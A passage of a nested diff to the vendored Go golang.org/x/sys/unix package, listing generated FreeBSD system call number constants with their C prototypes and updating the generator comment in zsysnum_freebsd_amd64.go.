-+ SYS_NSTAT = 278 // { int nstat(char *path, struct nstat *ub); }
-+ SYS_NFSTAT = 279 // { int nfstat(int fd, struct nstat *sb); }
-+ SYS_NLSTAT = 280 // { int nlstat(char *path, struct nstat *ub); }
-+ SYS_PREADV = 289 // { ssize_t preadv(int fd, struct iovec *iovp, u_int iovcnt, off_t offset); }
-+ SYS_PWRITEV = 290 // { ssize_t pwritev(int fd, struct iovec *iovp, u_int iovcnt, off_t offset); }
-+ SYS_FHOPEN = 298 // { int fhopen(const struct fhandle *u_fhp, int flags); }
-+ SYS_FHSTAT = 299 // { int fhstat(const struct fhandle *u_fhp, struct stat *sb); }
-+ SYS_MODNEXT = 300 // { int modnext(int modid); }
-+ SYS_MODSTAT = 301 // { int modstat(int modid, struct module_stat *stat); }
-+ SYS_MODFNEXT = 302 // { int modfnext(int modid); }
-+ SYS_MODFIND = 303 // { int modfind(const char *name); }
-+ SYS_KLDLOAD = 304 // { int kldload(const char *file); }
-+ SYS_KLDUNLOAD = 305 // { int kldunload(int fileid); }
-+ SYS_KLDFIND = 306 // { int kldfind(const char *file); }
-+ SYS_KLDNEXT = 307 // { int kldnext(int fileid); }
-+ SYS_KLDSTAT = 308 // { int kldstat(int fileid, struct kld_file_stat* stat); }
-+ SYS_KLDFIRSTMOD = 309 // { int kldfirstmod(int fileid); }
-+ SYS_GETSID = 310 // { int getsid(pid_t pid); }
-+ SYS_SETRESUID = 311 // { int setresuid(uid_t ruid, uid_t euid, uid_t suid); }
-+ SYS_SETRESGID = 312 // { int setresgid(gid_t rgid, gid_t egid, gid_t sgid); }
-+ SYS_AIO_RETURN = 314 // { ssize_t aio_return(struct aiocb *aiocbp); }
-+ SYS_AIO_SUSPEND = 315 // { int aio_suspend( struct aiocb * const * aiocbp, int nent, const struct timespec *timeout); }
-+ SYS_AIO_CANCEL = 316 // { int aio_cancel(int fd, struct aiocb *aiocbp); }
-+ SYS_AIO_ERROR = 317 // { int aio_error(struct aiocb *aiocbp); }
-+ SYS_YIELD = 321 // { int yield(void); }
-+ SYS_MLOCKALL = 324 // { int mlockall(int how); }
-+ SYS_MUNLOCKALL = 325 // { int munlockall(void); }
-+ SYS___GETCWD = 326 // { int __getcwd(char *buf, u_int buflen); }
-+ SYS_SCHED_SETPARAM = 327 // { int sched_setparam (pid_t pid, const struct sched_param *param); }
-+ SYS_SCHED_GETPARAM = 328 // { int sched_getparam (pid_t pid, struct sched_param *param); }
-+ SYS_SCHED_SETSCHEDULER = 329 // { int sched_setscheduler (pid_t pid, int policy, const struct sched_param *param); }
-+ SYS_SCHED_GETSCHEDULER = 330 // { int sched_getscheduler (pid_t pid); }
-+ SYS_SCHED_YIELD = 331 // { int sched_yield (void); }
-+ SYS_SCHED_GET_PRIORITY_MAX = 332 // { int sched_get_priority_max (int policy); }
-+ SYS_SCHED_GET_PRIORITY_MIN = 333 // { int sched_get_priority_min (int policy); }
-+ SYS_SCHED_RR_GET_INTERVAL = 334 // { int sched_rr_get_interval (pid_t pid, struct timespec *interval); }
-+ SYS_UTRACE = 335 // { int utrace(const void *addr, size_t len); }
-+ SYS_KLDSYM = 337 // { int kldsym(int fileid, int cmd, void *data); }
-+ SYS_JAIL = 338 // { int jail(struct jail *jail); }
-+ SYS_SIGPROCMASK = 340 // { int sigprocmask(int how, const sigset_t *set, sigset_t *oset); }
-+ SYS_SIGSUSPEND = 341 // { int sigsuspend(const sigset_t *sigmask); }
-+ SYS_SIGPENDING = 343 // { int sigpending(sigset_t *set); }
-+ SYS_SIGTIMEDWAIT = 345 // { int sigtimedwait(const sigset_t *set, siginfo_t *info, const struct timespec *timeout); }
-+ SYS_SIGWAITINFO = 346 // { int sigwaitinfo(const sigset_t *set, siginfo_t *info); }
-+ SYS___ACL_GET_FILE = 347 // { int __acl_get_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_FILE = 348 // { int __acl_set_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_GET_FD = 349 // { int __acl_get_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_FD = 350 // { int __acl_set_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_DELETE_FILE = 351 // { int __acl_delete_file(const char *path, acl_type_t type); }
-+ SYS___ACL_DELETE_FD = 352 // { int __acl_delete_fd(int filedes, acl_type_t type); }
-+ SYS___ACL_ACLCHECK_FILE = 353 // { int __acl_aclcheck_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_ACLCHECK_FD = 354 // { int __acl_aclcheck_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS_EXTATTRCTL = 355 // { int extattrctl(const char *path, int cmd, const char *filename, int attrnamespace, const char *attrname); }
-+ SYS_EXTATTR_SET_FILE = 356 // { ssize_t extattr_set_file( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_FILE = 357 // { ssize_t extattr_get_file( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_FILE = 358 // { int extattr_delete_file(const char *path, int attrnamespace, const char *attrname); }
-+ SYS_AIO_WAITCOMPLETE = 359 // { ssize_t aio_waitcomplete( struct aiocb **aiocbp, struct timespec *timeout); }
-+ SYS_GETRESUID = 360 // { int getresuid(uid_t *ruid, uid_t *euid, uid_t *suid); }
-+ SYS_GETRESGID = 361 // { int getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid); }
-+ SYS_KQUEUE = 362 // { int kqueue(void); }
-+ SYS_KEVENT = 363 // { int kevent(int fd, struct kevent *changelist, int nchanges, struct kevent *eventlist, int nevents, const struct timespec *timeout); }
-+ SYS_EXTATTR_SET_FD = 371 // { ssize_t extattr_set_fd(int fd, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_FD = 372 // { ssize_t extattr_get_fd(int fd, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_FD = 373 // { int extattr_delete_fd(int fd, int attrnamespace, const char *attrname); }
-+ SYS___SETUGID = 374 // { int __setugid(int flag); }
-+ SYS_EACCESS = 376 // { int eaccess(char *path, int amode); }
-+ SYS_NMOUNT = 378 // { int nmount(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS___MAC_GET_PROC = 384 // { int __mac_get_proc(struct mac *mac_p); }
-+ SYS___MAC_SET_PROC = 385 // { int __mac_set_proc(struct mac *mac_p); }
-+ SYS___MAC_GET_FD = 386 // { int __mac_get_fd(int fd, struct mac *mac_p); }
-+ SYS___MAC_GET_FILE = 387 // { int __mac_get_file(const char *path_p, struct mac *mac_p); }
-+ SYS___MAC_SET_FD = 388 // { int __mac_set_fd(int fd, struct mac *mac_p); }
-+ SYS___MAC_SET_FILE = 389 // { int __mac_set_file(const char *path_p, struct mac *mac_p); }
-+ SYS_KENV = 390 // { int kenv(int what, const char *name, char *value, int len); }
-+ SYS_LCHFLAGS = 391 // { int lchflags(const char *path, u_long flags); }
-+ SYS_UUIDGEN = 392 // { int uuidgen(struct uuid *store, int count); }
-+ SYS_SENDFILE = 393 // { int sendfile(int fd, int s, off_t offset, size_t nbytes, struct sf_hdtr *hdtr, off_t *sbytes, int flags); }
-+ SYS_MAC_SYSCALL = 394 // { int mac_syscall(const char *policy, int call, void *arg); }
-+ SYS_GETFSSTAT = 395 // { int getfsstat(struct statfs *buf, long bufsize, int mode); }
-+ SYS_STATFS = 396 // { int statfs(char *path, struct statfs *buf); }
-+ SYS_FSTATFS = 397 // { int fstatfs(int fd, struct statfs *buf); }
-+ SYS_FHSTATFS = 398 // { int fhstatfs(const struct fhandle *u_fhp, struct statfs *buf); }
-+ SYS_KSEM_CLOSE = 400 // { int ksem_close(semid_t id); }
-+ SYS_KSEM_POST = 401 // { int ksem_post(semid_t id); }
-+ SYS_KSEM_WAIT = 402 // { int ksem_wait(semid_t id); }
-+ SYS_KSEM_TRYWAIT = 403 // { int ksem_trywait(semid_t id); }
-+ SYS_KSEM_INIT = 404 // { int ksem_init(semid_t *idp, unsigned int value); }
-+ SYS_KSEM_OPEN = 405 // { int ksem_open(semid_t *idp, const char *name, int oflag, mode_t mode, unsigned int value); }
-+ SYS_KSEM_UNLINK = 406 // { int ksem_unlink(const char *name); }
-+ SYS_KSEM_GETVALUE = 407 // { int ksem_getvalue(semid_t id, int *val); }
-+ SYS_KSEM_DESTROY = 408 // { int ksem_destroy(semid_t id); }
-+ SYS___MAC_GET_PID = 409 // { int __mac_get_pid(pid_t pid, struct mac *mac_p); }
-+ SYS___MAC_GET_LINK = 410 // { int __mac_get_link(const char *path_p, struct mac *mac_p); }
-+ SYS___MAC_SET_LINK = 411 // { int __mac_set_link(const char *path_p, struct mac *mac_p); }
-+ SYS_EXTATTR_SET_LINK = 412 // { ssize_t extattr_set_link( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_LINK = 413 // { ssize_t extattr_get_link( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_LINK = 414 // { int extattr_delete_link( const char *path, int attrnamespace, const char *attrname); }
-+ SYS___MAC_EXECVE = 415 // { int __mac_execve(char *fname, char **argv, char **envv, struct mac *mac_p); }
-+ SYS_SIGACTION = 416 // { int sigaction(int sig, const struct sigaction *act, struct sigaction *oact); }
-+ SYS_SIGRETURN = 417 // { int sigreturn( const struct __ucontext *sigcntxp); }
-+ SYS_GETCONTEXT = 421 // { int getcontext(struct __ucontext *ucp); }
-+ SYS_SETCONTEXT = 422 // { int setcontext( const struct __ucontext *ucp); }
-+ SYS_SWAPCONTEXT = 423 // { int swapcontext(struct __ucontext *oucp, const struct __ucontext *ucp); }
-+ SYS_SWAPOFF = 424 // { int swapoff(const char *name); }
-+ SYS___ACL_GET_LINK = 425 // { int __acl_get_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_LINK = 426 // { int __acl_set_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_DELETE_LINK = 427 // { int __acl_delete_link(const char *path, acl_type_t type); }
-+ SYS___ACL_ACLCHECK_LINK = 428 // { int __acl_aclcheck_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS_SIGWAIT = 429 // { int sigwait(const sigset_t *set, int *sig); }
-+ SYS_THR_CREATE = 430 // { int thr_create(ucontext_t *ctx, long *id, int flags); }
-+ SYS_THR_EXIT = 431 // { void thr_exit(long *state); }
-+ SYS_THR_SELF = 432 // { int thr_self(long *id); }
-+ SYS_THR_KILL = 433 // { int thr_kill(long id, int sig); }
-+ SYS_JAIL_ATTACH = 436 // { int jail_attach(int jid); }
-+ SYS_EXTATTR_LIST_FD = 437 // { ssize_t extattr_list_fd(int fd, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_EXTATTR_LIST_FILE = 438 // { ssize_t extattr_list_file( const char *path, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_EXTATTR_LIST_LINK = 439 // { ssize_t extattr_list_link( const char *path, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_KSEM_TIMEDWAIT = 441 // { int ksem_timedwait(semid_t id, const struct timespec *abstime); }
-+ SYS_THR_SUSPEND = 442 // { int thr_suspend( const struct timespec *timeout); }
-+ SYS_THR_WAKE = 443 // { int thr_wake(long id); }
-+ SYS_KLDUNLOADF = 444 // { int kldunloadf(int fileid, int flags); }
-+ SYS_AUDIT = 445 // { int audit(const void *record, u_int length); }
-+ SYS_AUDITON = 446 // { int auditon(int cmd, void *data, u_int length); }
-+ SYS_GETAUID = 447 // { int getauid(uid_t *auid); }
-+ SYS_SETAUID = 448 // { int setauid(uid_t *auid); }
-+ SYS_GETAUDIT = 449 // { int getaudit(struct auditinfo *auditinfo); }
-+ SYS_SETAUDIT = 450 // { int setaudit(struct auditinfo *auditinfo); }
-+ SYS_GETAUDIT_ADDR = 451 // { int getaudit_addr( struct auditinfo_addr *auditinfo_addr, u_int length); }
-+ SYS_SETAUDIT_ADDR = 452 // { int setaudit_addr( struct auditinfo_addr *auditinfo_addr, u_int length); }
-+ SYS_AUDITCTL = 453 // { int auditctl(char *path); }
-+ SYS__UMTX_OP = 454 // { int _umtx_op(void *obj, int op, u_long val, void *uaddr1, void *uaddr2); }
-+ SYS_THR_NEW = 455 // { int thr_new(struct thr_param *param, int param_size); }
-+ SYS_SIGQUEUE = 456 // { int sigqueue(pid_t pid, int signum, void *value); }
-+ SYS_KMQ_OPEN = 457 // { int kmq_open(const char *path, int flags, mode_t mode, const struct mq_attr *attr); }
-+ SYS_KMQ_SETATTR = 458 // { int kmq_setattr(int mqd, const struct mq_attr *attr, struct mq_attr *oattr); }
-+ SYS_KMQ_TIMEDRECEIVE = 459 // { int kmq_timedreceive(int mqd, char *msg_ptr, size_t msg_len, unsigned *msg_prio, const struct timespec *abs_timeout); }
-+ SYS_KMQ_TIMEDSEND = 460 // { int kmq_timedsend(int mqd, const char *msg_ptr, size_t msg_len,unsigned msg_prio, const struct timespec *abs_timeout);}
-+ SYS_KMQ_NOTIFY = 461 // { int kmq_notify(int mqd, const struct sigevent *sigev); }
-+ SYS_KMQ_UNLINK = 462 // { int kmq_unlink(const char *path); }
-+ SYS_ABORT2 = 463 // { int abort2(const char *why, int nargs, void **args); }
-+ SYS_THR_SET_NAME = 464 // { int thr_set_name(long id, const char *name); }
-+ SYS_AIO_FSYNC = 465 // { int aio_fsync(int op, struct aiocb *aiocbp); }
-+ SYS_RTPRIO_THREAD = 466 // { int rtprio_thread(int function, lwpid_t lwpid, struct rtprio *rtp); }
-+ SYS_SCTP_PEELOFF = 471 // { int sctp_peeloff(int sd, uint32_t name); }
-+ SYS_SCTP_GENERIC_SENDMSG = 472 // { int sctp_generic_sendmsg(int sd, caddr_t msg, int mlen, caddr_t to, __socklen_t tolen, struct sctp_sndrcvinfo *sinfo, int flags); }
-+ SYS_SCTP_GENERIC_SENDMSG_IOV = 473 // { int sctp_generic_sendmsg_iov(int sd, struct iovec *iov, int iovlen, caddr_t to, __socklen_t tolen, struct sctp_sndrcvinfo *sinfo, int flags); }
-+ SYS_SCTP_GENERIC_RECVMSG = 474 // { int sctp_generic_recvmsg(int sd, struct iovec *iov, int iovlen, struct sockaddr * from, __socklen_t *fromlenaddr, struct sctp_sndrcvinfo *sinfo, int *msg_flags); }
-+ SYS_PREAD = 475 // { ssize_t pread(int fd, void *buf, size_t nbyte, off_t offset); }
-+ SYS_PWRITE = 476 // { ssize_t pwrite(int fd, const void *buf, size_t nbyte, off_t offset); }
-+ SYS_MMAP = 477 // { caddr_t mmap(caddr_t addr, size_t len, int prot, int flags, int fd, off_t pos); }
-+ SYS_LSEEK = 478 // { off_t lseek(int fd, off_t offset, int whence); }
-+ SYS_TRUNCATE = 479 // { int truncate(char *path, off_t length); }
-+ SYS_FTRUNCATE = 480 // { int ftruncate(int fd, off_t length); }
-+ SYS_THR_KILL2 = 481 // { int thr_kill2(pid_t pid, long id, int sig); }
-+ SYS_SHM_OPEN = 482 // { int shm_open(const char *path, int flags, mode_t mode); }
-+ SYS_SHM_UNLINK = 483 // { int shm_unlink(const char *path); }
-+ SYS_CPUSET = 484 // { int cpuset(cpusetid_t *setid); }
-+ SYS_CPUSET_SETID = 485 // { int cpuset_setid(cpuwhich_t which, id_t id, cpusetid_t setid); }
-+ SYS_CPUSET_GETID = 486 // { int cpuset_getid(cpulevel_t level, cpuwhich_t which, id_t id, cpusetid_t *setid); }
-+ SYS_CPUSET_GETAFFINITY = 487 // { int cpuset_getaffinity(cpulevel_t level, cpuwhich_t which, id_t id, size_t cpusetsize, cpuset_t *mask); }
-+ SYS_CPUSET_SETAFFINITY = 488 // { int cpuset_setaffinity(cpulevel_t level, cpuwhich_t which, id_t id, size_t cpusetsize, const cpuset_t *mask); }
-+ SYS_FACCESSAT = 489 // { int faccessat(int fd, char *path, int amode, int flag); }
-+ SYS_FCHMODAT = 490 // { int fchmodat(int fd, char *path, mode_t mode, int flag); }
-+ SYS_FCHOWNAT = 491 // { int fchownat(int fd, char *path, uid_t uid, gid_t gid, int flag); }
-+ SYS_FEXECVE = 492 // { int fexecve(int fd, char **argv, char **envv); }
-+ SYS_FSTATAT = 493 // { int fstatat(int fd, char *path, struct stat *buf, int flag); }
-+ SYS_FUTIMESAT = 494 // { int futimesat(int fd, char *path, struct timeval *times); }
-+ SYS_LINKAT = 495 // { int linkat(int fd1, char *path1, int fd2, char *path2, int flag); }
-+ SYS_MKDIRAT = 496 // { int mkdirat(int fd, char *path, mode_t mode); }
-+ SYS_MKFIFOAT = 497 // { int mkfifoat(int fd, char *path, mode_t mode); }
-+ SYS_MKNODAT = 498 // { int mknodat(int fd, char *path, mode_t mode, dev_t dev); }
-+ SYS_OPENAT = 499 // { int openat(int fd, char *path, int flag, mode_t mode); }
-+ SYS_READLINKAT = 500 // { int readlinkat(int fd, char *path, char *buf, size_t bufsize); }
-+ SYS_RENAMEAT = 501 // { int renameat(int oldfd, char *old, int newfd, char *new); }
-+ SYS_SYMLINKAT = 502 // { int symlinkat(char *path1, int fd, char *path2); }
-+ SYS_UNLINKAT = 503 // { int unlinkat(int fd, char *path, int flag); }
-+ SYS_POSIX_OPENPT = 504 // { int posix_openpt(int flags); }
-+ SYS_GSSD_SYSCALL = 505 // { int gssd_syscall(char *path); }
-+ SYS_JAIL_GET = 506 // { int jail_get(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS_JAIL_SET = 507 // { int jail_set(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS_JAIL_REMOVE = 508 // { int jail_remove(int jid); }
-+ SYS_CLOSEFROM = 509 // { int closefrom(int lowfd); }
-+ SYS___SEMCTL = 510 // { int __semctl(int semid, int semnum, int cmd, union semun *arg); }
-+ SYS_MSGCTL = 511 // { int msgctl(int msqid, int cmd, struct msqid_ds *buf); }
-+ SYS_SHMCTL = 512 // { int shmctl(int shmid, int cmd, struct shmid_ds *buf); }
-+ SYS_LPATHCONF = 513 // { int lpathconf(char *path, int name); }
-+ SYS___CAP_RIGHTS_GET = 515 // { int __cap_rights_get(int version, int fd, cap_rights_t *rightsp); }
-+ SYS_CAP_ENTER = 516 // { int cap_enter(void); }
-+ SYS_CAP_GETMODE = 517 // { int cap_getmode(u_int *modep); }
-+ SYS_PDFORK = 518 // { int pdfork(int *fdp, int flags); }
-+ SYS_PDKILL = 519 // { int pdkill(int fd, int signum); }
-+ SYS_PDGETPID = 520 // { int pdgetpid(int fd, pid_t *pidp); }
-+ SYS_PSELECT = 522 // { int pselect(int nd, fd_set *in, fd_set *ou, fd_set *ex, const struct timespec *ts, const sigset_t *sm); }
-+ SYS_GETLOGINCLASS = 523 // { int getloginclass(char *namebuf, size_t namelen); }
-+ SYS_SETLOGINCLASS = 524 // { int setloginclass(const char *namebuf); }
-+ SYS_RCTL_GET_RACCT = 525 // { int rctl_get_racct(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_GET_RULES = 526 // { int rctl_get_rules(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_GET_LIMITS = 527 // { int rctl_get_limits(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_ADD_RULE = 528 // { int rctl_add_rule(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_REMOVE_RULE = 529 // { int rctl_remove_rule(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_POSIX_FALLOCATE = 530 // { int posix_fallocate(int fd, off_t offset, off_t len); }
-+ SYS_POSIX_FADVISE = 531 // { int posix_fadvise(int fd, off_t offset, off_t len, int advice); }
-+ SYS_WAIT6 = 532 // { int wait6(idtype_t idtype, id_t id, int *status, int options, struct __wrusage *wrusage, siginfo_t *info); }
-+ SYS_CAP_RIGHTS_LIMIT = 533 // { int cap_rights_limit(int fd, cap_rights_t *rightsp); }
-+ SYS_CAP_IOCTLS_LIMIT = 534 // { int cap_ioctls_limit(int fd, const u_long *cmds, size_t ncmds); }
-+ SYS_CAP_IOCTLS_GET = 535 // { ssize_t cap_ioctls_get(int fd, u_long *cmds, size_t maxcmds); }
-+ SYS_CAP_FCNTLS_LIMIT = 536 // { int cap_fcntls_limit(int fd, uint32_t fcntlrights); }
-+ SYS_CAP_FCNTLS_GET = 537 // { int cap_fcntls_get(int fd, uint32_t *fcntlrightsp); }
-+ SYS_BINDAT = 538 // { int bindat(int fd, int s, caddr_t name, int namelen); }
-+ SYS_CONNECTAT = 539 // { int connectat(int fd, int s, caddr_t name, int namelen); }
-+ SYS_CHFLAGSAT = 540 // { int chflagsat(int fd, const char *path, u_long flags, int atflag); }
-+ SYS_ACCEPT4 = 541 // { int accept4(int s, struct sockaddr * __restrict name, __socklen_t * __restrict anamelen, int flags); }
-+ SYS_PIPE2 = 542 // { int pipe2(int *fildes, int flags); }
-+ SYS_AIO_MLOCK = 543 // { int aio_mlock(struct aiocb *aiocbp); }
-+ SYS_PROCCTL = 544 // { int procctl(idtype_t idtype, id_t id, int com, void *data); }
-+ SYS_PPOLL = 545 // { int ppoll(struct pollfd *fds, u_int nfds, const struct timespec *ts, const sigset_t *set); }
-+ SYS_FUTIMENS = 546 // { int futimens(int fd, struct timespec *times); }
-+ SYS_UTIMENSAT = 547 // { int utimensat(int fd, char *path, struct timespec *times, int flag); }
-+ SYS_NUMA_GETAFFINITY = 548 // { int numa_getaffinity(cpuwhich_t which, id_t id, struct vm_domain_policy_entry *policy); }
-+ SYS_NUMA_SETAFFINITY = 549 // { int numa_setaffinity(cpuwhich_t which, id_t id, const struct vm_domain_policy_entry *policy); }
-+ SYS_FDATASYNC = 550 // { int fdatasync(int fd); }
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_freebsd_amd64.go b/vendor/golang.org/x/sys/unix/zsysnum_freebsd_amd64.go
-index 81722ac9..48a7beae 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_freebsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_freebsd_amd64.go
-@@ -1,4 +1,4 @@
--// mksysnum_freebsd.pl
-+// go run mksysnum.go https://svn.freebsd.org/base/stable/11/sys/kern/syscalls.master
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build amd64,freebsd
-@@ -7,347 +7,390 @@ package unix
-
- const (
- // SYS_NOSYS = 0; // { int nosys(void); } syscall nosys_args int
-- SYS_EXIT = 1 // { void sys_exit(int rval); } exit \
-- SYS_FORK = 2 // { int fork(void); }
-- SYS_READ = 3 // { ssize_t read(int fd, void *buf, \
-- SYS_WRITE = 4 // { ssize_t write(int fd, const void *buf, \
-- SYS_OPEN = 5 // { int open(char *path, int flags, int mode); }
-- SYS_CLOSE = 6 // { int close(int fd); }
-- SYS_WAIT4 = 7 // { int wait4(int pid, int *status, \
-- SYS_LINK = 9 // { int link(char *path, char *link); }
-- SYS_UNLINK = 10 // { int unlink(char *path); }
-- SYS_CHDIR = 12 // { int chdir(char *path); }
-- SYS_FCHDIR = 13 // { int fchdir(int fd); }
-- SYS_MKNOD = 14 // { int mknod(char *path, int mode, int dev); }
-- SYS_CHMOD = 15 // { int chmod(char *path, int mode); }
-- SYS_CHOWN = 16 // { int chown(char *path, int uid, int gid); }
-- SYS_OBREAK = 17 // { int obreak(char *nsize); } break \
-- SYS_GETPID = 20 // { pid_t getpid(void); }
-- SYS_MOUNT = 21 // { int mount(char *type, char *path, \
-- SYS_UNMOUNT = 22 // { int unmount(char *path, int flags); }
-- SYS_SETUID = 23 // { int setuid(uid_t uid); }
-- SYS_GETUID = 24 // { uid_t getuid(void); }
-- SYS_GETEUID = 25 // { uid_t geteuid(void); }
-- SYS_PTRACE = 26 // { int ptrace(int req, pid_t pid, \
-- SYS_RECVMSG = 27 // { int recvmsg(int s, struct msghdr *msg, \
-- SYS_SENDMSG = 28 // { int sendmsg(int s, struct msghdr *msg, \
-- SYS_RECVFROM = 29 // { int recvfrom(int s, caddr_t buf, \
-- SYS_ACCEPT = 30 // { int accept(int s, \
-- SYS_GETPEERNAME = 31 // { int getpeername(int fdes, \
-- SYS_GETSOCKNAME = 32 // { int getsockname(int fdes, \
-- SYS_ACCESS = 33 // { int access(char *path, int amode); }
-- SYS_CHFLAGS = 34 // { int chflags(const char *path, u_long flags); }
-- SYS_FCHFLAGS = 35 // { int fchflags(int fd, u_long flags); }
-- SYS_SYNC = 36 // { int sync(void); }
-- SYS_KILL = 37 // { int kill(int pid, int signum); }
-- SYS_GETPPID = 39 // { pid_t getppid(void); }
-- SYS_DUP = 41 // { int dup(u_int fd); }
-- SYS_PIPE = 42 // { int pipe(void); }
-- SYS_GETEGID = 43 // { gid_t getegid(void); }
-- SYS_PROFIL = 44 // { int profil(caddr_t samples, size_t size, \
-- SYS_KTRACE = 45 // { int ktrace(const char *fname, int ops, \
-- SYS_GETGID = 47 // { gid_t getgid(void); }
-- SYS_GETLOGIN = 49 // { int getlogin(char *namebuf, u_int \
-- SYS_SETLOGIN = 50 // { int setlogin(char *namebuf); }
-- SYS_ACCT = 51 // { int acct(char *path); }
-- SYS_SIGALTSTACK = 53 // { int sigaltstack(stack_t *ss, \
-- SYS_IOCTL = 54 // { int ioctl(int fd, u_long com, \
-- SYS_REBOOT = 55 // { int reboot(int opt); }
-- SYS_REVOKE = 56 // { int revoke(char *path); }
-- SYS_SYMLINK = 57 // { int symlink(char *path, char *link); }
-- SYS_READLINK = 58 // { ssize_t readlink(char *path, char *buf, \
-- SYS_EXECVE = 59 // { int execve(char *fname, char **argv, \
-- SYS_UMASK = 60 // { int umask(int newmask); } umask umask_args \
-- SYS_CHROOT = 61 // { int chroot(char *path); }
-- SYS_MSYNC = 65 // { int msync(void *addr, size_t len, \
-- SYS_VFORK = 66 // { int vfork(void); }
-- SYS_SBRK = 69 // { int sbrk(int incr); }
-- SYS_SSTK = 70 // { int sstk(int incr); }
-- SYS_OVADVISE = 72 // { int ovadvise(int anom); } vadvise \
-- SYS_MUNMAP = 73 // { int munmap(void *addr, size_t len); }
-- SYS_MPROTECT = 74 // { int mprotect(const void *addr, size_t len, \
-- SYS_MADVISE = 75 // { int madvise(void *addr, size_t len, \
-- SYS_MINCORE = 78 // { int mincore(const void *addr, size_t len, \
-- SYS_GETGROUPS = 79 // { int getgroups(u_int gidsetsize, \
-- SYS_SETGROUPS = 80 // { int setgroups(u_int gidsetsize, \
-- SYS_GETPGRP = 81 // { int getpgrp(void); }
-- SYS_SETPGID = 82 // { int setpgid(int pid, int pgid); }
-- SYS_SETITIMER = 83 // { int setitimer(u_int which, struct \
-- SYS_SWAPON = 85 // { int swapon(char *name); }
-- SYS_GETITIMER = 86 // { int getitimer(u_int which, \
-- SYS_GETDTABLESIZE = 89 // { int getdtablesize(void); }
-- SYS_DUP2 = 90 // { int dup2(u_int from, u_int to); }
-- SYS_FCNTL = 92 // { int fcntl(int fd, int cmd, long arg); }
-- SYS_SELECT = 93 // { int select(int nd, fd_set *in, fd_set *ou, \
-- SYS_FSYNC = 95 // { int fsync(int fd); }
-- SYS_SETPRIORITY = 96 // { int setpriority(int which, int who, \
-- SYS_SOCKET = 97 // { int socket(int domain, int type, \
-- SYS_CONNECT = 98 // { int connect(int s, caddr_t name, \
-- SYS_GETPRIORITY = 100 // { int getpriority(int which, int who); }
-- SYS_BIND = 104 // { int bind(int s, caddr_t name, \
-- SYS_SETSOCKOPT = 105 // { int setsockopt(int s, int level, int name, \
-- SYS_LISTEN = 106 // { int listen(int s, int backlog); }
-- SYS_GETTIMEOFDAY = 116 // { int gettimeofday(struct timeval *tp, \
-- SYS_GETRUSAGE = 117 // { int getrusage(int who, \
-- SYS_GETSOCKOPT = 118 // { int getsockopt(int s, int level, int name, \
-- SYS_READV = 120 // { int readv(int fd, struct iovec *iovp, \
-- SYS_WRITEV = 121 // { int writev(int fd, struct iovec *iovp, \
-- SYS_SETTIMEOFDAY = 122 // { int settimeofday(struct timeval *tv, \
-- SYS_FCHOWN = 123 // { int fchown(int fd, int uid, int gid); }
-- SYS_FCHMOD = 124 // { int fchmod(int fd, int mode); }
-- SYS_SETREUID = 126 // { int setreuid(int ruid, int euid); }
-- SYS_SETREGID = 127 // { int setregid(int rgid, int egid); }
-- SYS_RENAME = 128 // { int rename(char *from, char *to); }
-- SYS_FLOCK = 131 // { int flock(int fd, int how); }
-- SYS_MKFIFO = 132 // { int mkfifo(char *path, int mode); }
-- SYS_SENDTO = 133 // { int sendto(int s, caddr_t buf, size_t len, \
-- SYS_SHUTDOWN = 134 // { int shutdown(int s, int how); }
-- SYS_SOCKETPAIR = 135 // { int socketpair(int domain, int type, \
-- SYS_MKDIR = 136 // { int mkdir(char *path, int mode); }
-- SYS_RMDIR = 137 // { int rmdir(char *path); }
-- SYS_UTIMES = 138 // { int utimes(char *path, \
-- SYS_ADJTIME = 140 // { int adjtime(struct timeval *delta, \
-- SYS_SETSID = 147 // { int setsid(void); }
-- SYS_QUOTACTL = 148 // { int quotactl(char *path, int cmd, int uid, \
-- SYS_LGETFH = 160 // { int lgetfh(char *fname, \
-- SYS_GETFH = 161 // { int getfh(char *fname, \
-- SYS_SYSARCH = 165 // { int sysarch(int op, char *parms); }
-- SYS_RTPRIO = 166 // { int rtprio(int function, pid_t pid, \
-- SYS_FREEBSD6_PREAD = 173 // { ssize_t freebsd6_pread(int fd, void *buf, \
-- SYS_FREEBSD6_PWRITE = 174 // { ssize_t freebsd6_pwrite(int fd, \
-- SYS_SETFIB = 175 // { int setfib(int fibnum); }
